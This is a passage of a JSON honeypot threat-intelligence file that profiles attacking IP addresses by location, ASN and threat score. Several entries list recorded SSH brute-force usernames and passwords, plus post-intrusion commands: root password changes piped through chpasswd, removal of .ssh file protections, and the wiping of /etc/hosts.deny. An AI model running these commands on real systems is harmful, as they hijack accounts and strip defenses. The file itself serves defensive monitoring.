      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 25472,
      "as_org": "Nova Telecommunications & Media Single Member S.A",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:49:19.012000+00:00",
        "last_seen_30d": "2026-05-22T16:02:13.103000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "92.151.78.237": {
      "attack_count": 2,
      "first_seen": "2026-05-19T04:01:43.401Z",
      "last_seen": "2026-05-19T04:01:56.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Saint-Germain-en-Laye",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:01:43.401000+00:00",
        "last_seen_30d": "2026-05-19T04:03:04.603000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.158.60.103": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:10:02.023Z",
      "last_seen": "2026-05-09T14:10:15.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 43060,
      "as_org": "IPLUS LLC",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T14:10:02.023000+00:00",
        "last_seen_30d": "2026-05-09T14:11:16.226000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.107.43.57": {
      "attack_count": 2,
      "first_seen": "2026-05-12T13:32:57.663Z",
      "last_seen": "2026-05-12T13:33:10.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Oryol",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:32:57.663000+00:00",
        "last_seen_30d": "2026-05-12T13:34:18.970000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.143.231.24": {
      "attack_count": 1400,
      "first_seen": "2026-05-02T02:30:41.480Z",
      "last_seen": "2026-05-25T12:55:13.743Z",
      "sessions": 139,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "odoo",
        "sysadmin",
        "test",
        "ayjtnzjc",
        "dms",
        "jose",
        "public",
        "stud1",
        "UBUNTU",
        "afzal",
        "ali",
        "alpha",
        "azureuser",
        "botuser",
        "cloud",
        "csgoserver"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456Xx",
        "!qaz2wsx3edc",
        "$",
        "000",
        "000000",
        "1",
        "111111",
        "111111111",
        "121121",
        "121212",
        "123",
        "123.com",
        "1234",
        "12345",
        "123456456",
        "12345678",
        "123456@qwe"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\naEcovbtqRjFY\\naEcovbtqRjFY\\n\"|passwd",
        "echo \"123@abc\\npeQNeO3xMJ6d\\npeQNeO3xMJ6d\\n\"|passwd",
        "echo \"1a2s3d4f5g\\nwOC7V4wN6s5k\\nwOC7V4wN6s5k\\n\"|passwd",
        "echo \"dms\\ni5wd0KR4VADk\\ni5wd0KR4VADk\\n\"|passwd",
        "echo \"odoo\\nr1cs4xAPo4B6\\nr1cs4xAPo4B6\\n\"|passwd",
        "echo \"qwerty\\n7XGdn0ojH5lw\\n7XGdn0ojH5lw\\n\"|passwd",
        "echo \"root:f13wc0oP3lnl\"|chpasswd|bash",
        "echo \"root:tSvuoWPopnb9\"|chpasswd|bash",
        "echo \"root:xAnqEASgaF8p\"|chpasswd|bash",
        "echo \"stud1\\nqc3jD17SwmQL\\nqc3jD17SwmQL\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1714,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:30:41.480000+00:00",
        "last_seen_30d": "2026-05-25T12:56:22.988000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1400,
        "Suricata": 314
      }
    },
    "190.32.246.14": {
      "attack_count": 1154,
      "first_seen": "2026-05-15T11:41:31.785Z",
      "last_seen": "2026-05-27T08:32:41.835Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dbus-helper",
        "liming",
        "odoo13",
        "sammy",
        "systemd",
        "udev-monitor",
        "...",
        "admin",
        "andrey",
        "bot",
        "consulta",
        "dangdang",
        "francisco",
        "guest",
        "hostdare",
        "kong",
        "lab",
        "lei"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "password",
        "warnight",
        "linux123",
        "!@#123",
        "111",
        "123$",
        "12qwaszX",
        "1QAZ@WSX",
        "1q2w3e4r@",
        "2072",
        "2wsxXSW@",
        "Dx@123456",
        "Kermit123@",
        "Lt123456..",
        "Ly123456",
        "P@ssw0rd123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Password1\\nMhxAiyQlK5LI\\nMhxAiyQlK5LI\\n\"|passwd",
        "echo \"Voidsetdownload.so\\neaho6XqiqjuQ\\neaho6XqiqjuQ\\n\"|passwd",
        "echo \"liming\\nze9tMvUrQDiR\\nze9tMvUrQDiR\\n\"|passwd",
        "echo \"odoo13\\nTZNbJK1zeUlc\\nTZNbJK1zeUlc\\n\"|passwd",
        "echo \"root:5RFnRKGMSKV0\"|chpasswd|bash",
        "echo \"root:BzrIkokKIodm\"|chpasswd|bash",
        "echo \"root:R4HkbLLo0H2b\"|chpasswd|bash",
        "echo \"root:YsN0j7bhohKP\"|chpasswd|bash",
        "echo \"root:t8CQ7FAyn2P6\"|chpasswd|bash",
        "echo \"warnight\\n19MnGF0rzvAm\\n19MnGF0rzvAm\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1395,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:41:31.785000+00:00",
        "last_seen_30d": "2026-05-27T08:33:44.199000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1154,
        "Suricata": 241
      }
    },
    "101.47.156.170": {
      "attack_count": 476,
      "first_seen": "2026-05-08T03:13:42.861Z",
      "last_seen": "2026-05-14T15:12:54.510Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "test",
        "345gs5662d34",
        "admin",
        "debian",
        "git",
        "linux",
        "...",
        "administrator1",
        "auser",
        "dbadmin",
        "deploy",
        "guest",
        "hadoop",
        "newuser",
        "pakchoi",
        "postgres",
        "svnuser",
        "test_user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "linux123",
        "zaq12wsx",
        "112233445566",
        "123456#",
        "123asd",
        "123qwe!!!",
        "19840102",
        "1q2w3e4r!Q@W#E$R",
        "2067",
        "666666",
        "888888",
        "Abc123",
        "Hello@123",
        "Kermit123@",
        "Tiger123",
        "admin123qwe",
        "admin@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\nTncy1xUAHiKW\\nTncy1xUAHiKW\\n\"|passwd",
        "echo \"oracle\\n7f3ExPhS1jUB\\n7f3ExPhS1jUB\\n\"|passwd",
        "echo \"root:9k4QGB9n9PIG\"|chpasswd|bash",
        "echo -e \"linux123\\nTncy1xUAHiKW\\nTncy1xUAHiKW\"|passwd|bash",
        "echo -e \"oracle\\n7f3ExPhS1jUB\\n7f3ExPhS1jUB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 610,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:13:42.861000+00:00",
        "last_seen_30d": "2026-05-14T15:14:00.281000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 476,
        "Suricata": 134
      }
    },
    "43.173.125.185": {
      "attack_count": 450,
      "first_seen": "2026-05-16T14:40:45.474Z",
      "last_seen": "2026-05-16T15:19:20.548Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*(",
        "1qaz!QAZ",
        "20192019",
        "2039",
        "Yy123456!",
        "atul",
        "blowjob",
        "compaq88",
        "harry",
        "malcolm",
        "master01",
        "nokia",
        "offroad1",
        "password2",
        "roddy",
        "technical",
        "vfr43edcxsw2",
        "warnightkardesim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ACHlMl2SFxfG\"|chpasswd|bash",
        "echo \"root:DgUH53jusYDc\"|chpasswd|bash",
        "echo \"root:L60LaNZToUl6\"|chpasswd|bash",
        "echo \"root:NBr2WWwysOXQ\"|chpasswd|bash",
        "echo \"root:Rfxc0kTXr4qS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:40:45.474000+00:00",
        "last_seen_30d": "2026-05-16T15:20:26.248000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 68
      }
    },
    "116.110.1.200": {
      "attack_count": 382,
      "first_seen": "2026-05-02T00:35:18.675Z",
      "last_seen": "2026-05-02T01:03:10.529Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "monitor",
        "*****",
        "1234",
        "ace",
        "admian",
        "ashish",
        "auto",
        "backup",
        "btf",
        "carol",
        "cf1c22",
        "config",
        "db2inst2",
        "demo",
        "developer",
        "ftp",
        "george"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "admin",
        "12345",
        "*****",
        "1111",
        "111111",
        "321start",
        "91482d",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "ace",
        "admin01",
        "admin1",
        "admin123",
        "ashish",
        "bananapi",
        "carol"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 554,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:35:18.675000+00:00",
        "last_seen_30d": "2026-05-02T01:04:16.647000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 172
      }
    },
    "152.32.163.183": {
      "attack_count": 340,
      "first_seen": "2026-05-24T14:33:03.218Z",
      "last_seen": "2026-05-24T16:10:12.696Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "backupuser",
        "io"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1qaz@wsx",
        "Passw0rd@2024",
        "Root1234567890",
        "Test12345",
        "a123456789",
        "change",
        "io",
        "qazwsx123!",
        "qwe123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4huWMXdYZ6wq\"|chpasswd|bash",
        "echo \"root:dOZZ4li9ueLQ\"|chpasswd|bash",
        "echo \"root:iCBIAbfJbTBm\"|chpasswd|bash",
        "echo \"root:iccJQor3GVed\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:33:03.218000+00:00",
        "last_seen_30d": "2026-05-24T16:11:14.780000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 340,
        "Suricata": 61
      }
    },
    "152.200.205.180": {
      "attack_count": 305,
      "first_seen": "2026-05-21T09:45:16.201Z",
      "last_seen": "2026-05-21T10:15:00.147Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chiji",
        "netadmin",
        "volcengine",
        "csgo",
        "dmit",
        "dovecot",
        "jdcloud",
        "manager",
        "user",
        "yunwei"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "Dd112211",
        "fucker",
        "jdcloud",
        "jiemei",
        "kakao123",
        "ncloud",
        "netadmin",
        "test",
        "user123",
        "wangluo",
        "yunwei",
        "zz001"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nIzf3UUakU747\\nIzf3UUakU747\\n\"|passwd",
        "echo \"123456\\ni5DADhSCeMAf\\ni5DADhSCeMAf\\n\"|passwd",
        "echo \"netadmin\\nkOj5phb0kJHz\\nkOj5phb0kJHz\\n\"|passwd",
        "echo -e \"123456\\nIzf3UUakU747\\nIzf3UUakU747\"|passwd|bash",
        "echo -e \"123456\\ni5DADhSCeMAf\\ni5DADhSCeMAf\"|passwd|bash",
        "echo -e \"netadmin\\nkOj5phb0kJHz\\nkOj5phb0kJHz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:45:16.201000+00:00",
        "last_seen_30d": "2026-05-21T10:16:10.243000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 305,
        "Suricata": 60
      }
    },
    "43.163.112.196": {
      "attack_count": 304,
      "first_seen": "2026-05-17T12:16:23.052Z",
      "last_seen": "2026-05-17T12:46:09.081Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc$RFV",
        "$*%$@^@^(%^*#",
        "11223311",
        "12345",
        "1qazse4",
        "Kt@123456",
        "abcd123@",
        "admin001",
        "anyang",
        "bertha",
        "danielle",
        "demopass",
        "fareast",
        "fxf",
        "infa123",
        "login",
        "monson",
        "randall"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:54Ipl0DAf3S1\"|chpasswd|bash",
        "echo \"root:8aDG8RiKNNCd\"|chpasswd|bash",
        "echo \"root:wY2geKMTcp4L\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:16:23.052000+00:00",
        "last_seen_30d": "2026-05-17T12:47:18.743000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "34.124.213.151": {
      "attack_count": 288,
      "first_seen": "2026-05-04T23:20:42.513Z",
      "last_seen": "2026-05-05T00:09:25.142Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "postgres",
        "test",
        "345gs5662d34",
        "bkuser",
        "ftpuser",
        "odoo",
        "oracle",
        "tester",
        "testing",
        "user2"
      ],
      "passwords_attempted": [
        "123123",
        "3245gs5662d34",
        "345gs5662d34",
        "11223344",
        "112233445566",
        "123123123",
        "12345",
        "123qwe!@#",
        "789UIOjkl",
        "Pa$$w0rd",
        "Passw0rd",
        "Password123",
        "admin1",
        "admin2",
        "admin2021",
        "asd",
        "asdasd",
        "bkuser",
        "developer1234567",
        "oracle2019"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123123\\nKrPN9TysunWl\\nKrPN9TysunWl\\n\"|passwd",
        "echo \"password01!\\nxrFALtINLy24\\nxrFALtINLy24\\n\"|passwd",
        "echo -e \"123123123\\nKrPN9TysunWl\\nKrPN9TysunWl\"|passwd|bash",
        "echo -e \"password01!\\nxrFALtINLy24\\nxrFALtINLy24\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:20:42.513000+00:00",
        "last_seen_30d": "2026-05-05T00:10:27.529000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "201.217.12.57": {
      "attack_count": 287,
